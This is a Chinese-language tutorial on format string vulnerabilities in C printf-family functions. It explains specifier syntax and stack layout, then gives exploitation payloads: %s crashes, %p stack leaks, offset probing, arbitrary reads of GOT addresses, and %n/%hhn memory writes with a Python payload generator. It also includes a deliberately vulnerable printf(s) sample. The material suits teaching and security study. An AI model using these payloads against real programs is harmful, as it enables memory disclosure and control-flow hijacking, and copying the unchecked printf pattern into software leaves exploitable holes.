目录
0x01.格式化字符串的基础知识
1.格式化字符串说明
- 格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。
- 格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。
- 几乎所有的C/C++程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。
2.常见带格式化字符串的函数
函数 | 作用 |
scanf | 基本输入 |
printf | 基本输出 |
fprintf | 输出到FILE流 |
vprintf | 格式化输出到stdout |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vfprintf | 根据参数列表格式化输出到指定FILE流 |
3.格式化字符串的格式
%[parameter][flags][field width][.precision][length]type
参数 | 含义 |
parameter | n$,获取格式化字符串中的指定参数 |
flags | 可为0个或多个(暂时不重要) |
field width | 输出的最小宽度 |
precision | 输出的最大长度 |
length | 输出的长度 |
type |
d/i,有符号整数
u,无符号整数
o,8进制unsigned int 。
p, void *型,输出对应变量的值
n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%,
% 字面值,不接受任何flags, width。 |
0x02.格式化字符串在内存中的原理
1.举例
printf("My name is %s,my age is %d,and I have %5.2f money","ATFWUS",19,67.38);
2.调用printf前,栈的布局
下面是高地址,上面是低地址:(printf的传参顺序为从右往左)
"My name is %s,my age is %d,and I have %5.2f money"的地址 |
"ATFWUS"的地址 |
19 |
67.38 |
一些其它变量 |
3.调用printf时的工作原理
- 先获取第一个参数,也就是最大字符串的地址。
- 一个个读取字符,并分情况讨论。
- 不是%直接输出。
- 是%继续读取下一个字符。
- 如果后面没有字符,报错。
- 如果后面是%,输出%。
- 如果后面是有效参数,如d等,获取相应的参数,并解析参数输出。
4.特殊情况
- 如果在第一个参数中写入了相关格式,但后面没有相应的参数对应,例如:
printf("My name is %s,my age is %d,and I have %5.2f money")
此时,程序不会报错,而是会将格式化字符串的下面三个参数书,分别解析为字符串,整数,浮点数,输出时,如果解析字符串遇到不可访问地址,程序就会崩溃。
0x03.漏洞的利用
1.造成程序崩溃
如果存在如下代码:
char s[1000];
scanf("%s",s);
printf(s);
我们只需要在输入的时候,输入很多的%s,就有很大概率遇到不可访问地址:
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
2.泄露栈内存
继续看以上代码,如果输入如下数据:
%08x %08x %08x
那么调用printf的时候栈布局如下:
返回地址 |
"%08x %08x %08x"的地址 |
栈的其它变量或地址 |
栈的其它变量或地址 |
栈的其它变量或地址 |
当读取到%08x的时候,就会往这个字符串下面的地址去按照找参数,将下方的地址或数值以十六进制的数据形式打印出来。
那么输入上面字符串的时候,就会泄露它在栈中下方的三个变量或地址值。
输入以下也是一样:
%p %p %p
利用%x可以获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
3.获取栈中被视为指定参数的值
之所以说被视为,是因为不是实际的参数,而是栈中的变量或者地址,是printf误读取的值。
获取被视为第n+1个参数的值:
%n$x
n$是一个格式化字符串中的参数,获取指定的参数,是第几个参数,x是输出的形式。
对n来说,是格式化字符串中的第多少个参数。
对printf来说,是所有参数中第多少个参数,因为包含格式化字符串,所以应该算是第n+1个。
如输入如下值:
%3$x
那么,将输出格式化字符串下面的第三个参数,也就是函数的第4个参数。
4.获取栈中变量对应的字符串
如果输入如下值:
%3$s
将将格式化字符串下的第3个参数解析为字符串输出,输出地址,但是,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。
5.泄露任意地址的内存
上述方法都用于泄露栈中的内存,但实际需要的往往需要获取用处大的地址,比如got表地址。
对于泄露任意地址的内存,我们首先需要知道该格式化字符串在输出函数调用时是第几个参数。该格式化字符串可以看成主函数的局部变量。而局部变量都是存储在栈中的。
方法如下:
AAAA.%p%p%p%p%p%p%p%p%p%p%p%p%p
可以理解成:先输入一个指定字符(如‘AAAA’),然后输入许多%p,如果后面有个地址的内存(0x41414141)和AAAA一样,就大概率可以确定是格式化字符串的第几个参数。AAAA后多少个,就是格式化字符串的第多少个参数,就是函数的第多少个加1的参数。
知道是第几个参数后,就可以进行任意内存的读取了。
这是一个相对偏移量,后面的泄露都可以利用这个相对偏移量。
填充字符用一个已知地址,就可以读出偏移那个地址的内存了。
例如用scanf的got的地址填充,然后用%k$s读取,就可以读取真正的地址了。
输入的字符串的前4个字节如果是一个有效的字符串的首地址,就可以用%s将其打印出来,做到任意内存读取。如果不是有效的字符串,会出现段错误。
6.覆盖内存
利用格式化字符串漏洞,可以覆盖某些内存。
首先要理解下面这个格式化字符串的参数:
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
有写入,自然好利用。
修改栈上变量的例子:
int a=5;
char s[100];
printf(s);
if(a==14){
printf("Get!");
}
return 0;
首先需要确定一下相对偏移量,利用上面的方法确定,这里假设是8。
获得a的地址,需要关闭ASLR,或者直接打印出来。假设已经得到为a_addr。
那么覆盖的payload为:
[a_addr]%010d%8$n
a的地址长度为4,要覆盖为14,还需要10个字节数据,后面是向相对第8个参数写入输出的字符串长度,也就是14。
修改小数字的例子:
如果上面要修改a为2,那么按上面的方法,看似无法成功,因为地址已经占了四个字节了。
但其实我们不一定非得把地址放到第一个参数,我们可以把地址放在中间,或者后面。
同样假设偏移量为8,那么我们的payload为:
aa%10$naa+a_adr
原因是格式化字符串为第8个参数,那么aa%10为第8个参数,$naa为第九个参数,a的地址为第10个参数,只要写入到第10个参数中就行了。
修改大数字的例子:
- 所有的变量在内存中都是以字节进行存储的。
- 在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。
如下参数:
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
- %hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。
- 我们可以利用%hhn向某个地址写入单字节。
- 利用%hn向某个地址写入双字节。
具体的payload如下:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
- offset表示要覆盖的地址最初的偏移
- size表示机器字长
- addr表示将要覆盖的地址
- target表示我们要覆盖为的目的变量值
- 用%n分别对每个地址进行写入,程序有可能因此崩溃。